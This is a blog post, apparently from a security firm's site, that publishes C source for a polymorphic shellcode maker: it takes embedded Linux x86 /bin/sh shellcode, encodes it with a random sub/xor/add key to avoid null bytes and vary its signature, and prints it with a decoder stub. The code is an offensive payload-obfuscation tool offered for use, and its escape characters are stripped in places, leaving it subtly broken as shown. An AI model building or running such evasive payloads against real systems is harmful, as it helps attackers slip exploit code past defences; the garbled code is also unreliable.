A polymorphic shellcode maker

/*
A polymorphic shellcode maker
original prorgam created by Rizki Wicaksono(http://www.ilmuhacking.com)
i add some functions to make it more interesting,
i add "sub,add" functions beside the original xor into decoder

otoy(http://otoyrood.wordpress.com)
0x82010
*/

#include <sys/time.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int getnumber(int quo) {
int seed;
struct timeval tm;
gettimeofday( &tm, NULL );
seed = tm.tv_sec + tm.tv_usec;
srandom( seed );
return (random() % quo);
}

void print_code(char *data) {
int i,l=0;
for (i = 0; i < strlen(data); ++i) {
if (l==0) {
printf(""");
}
if (l >= 15) {
printf(""n"");
l = 0;
}
printf("\x%02x", ((unsigned char *)data)[i]);
++l;
}
printf("";nn");
}

int main() {
char shellcode[] =
/* "/bin/sh" shellcode*/
/* put our own shellcode here */
"x31xc0x89xc2x50x68x6ex2fx73x68x68x2fx2fx62"
"x69x89xe3x89xc1xb0x0bx52x51x53x89xe1xcdx80";

int count;
int number = getnumber(200);
int badchar = 0;
int ldecoder;
int lshellcode = strlen(shellcode);
char *result;

char decoder[] =
"xebx13x5ex31xc9xb1x00x80x06x00x80x36x00x80x2e"
"x00x46xe2xf4xebx05xe8xe8xffxffxff";
decoder[6] = lshellcode;
decoder[9] = number;
decoder[12]= number;
decoder[15]= number;

ldecoder = strlen(decoder);

do {
if(badchar == 1) {
number = getnumber(10);
decoder[9] = number;
decoder[12]= number;
decoder[15]= number;

badchar = 0;
printf("New Key: %2xn", number);
}
for(count=0; count < lshellcode; count++) {
shellcode[count] = shellcode[count] - number;
shellcode[count] = shellcode[count] ^ number;
shellcode[count] = shellcode[count] + number;
if(shellcode[count] == '') {
badchar = 1;
}
}
} while(badchar == 1);
decoder[8] = 46;
decoder[14] = 6;
result = malloc(lshellcode + ldecoder);
strcat(result,decoder);
strcat(result,shellcode);

printf("Key: %02xn",number);
print_code(result);
}

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

About Spentera

We are specializing in penetration test, vulnerability assessment, computer forensics, as well as intrusion analyst and malware analysis. Customers can contact us directly at contact[at]spentera[dot]id, or use Contact Our Team menu on the sidebar.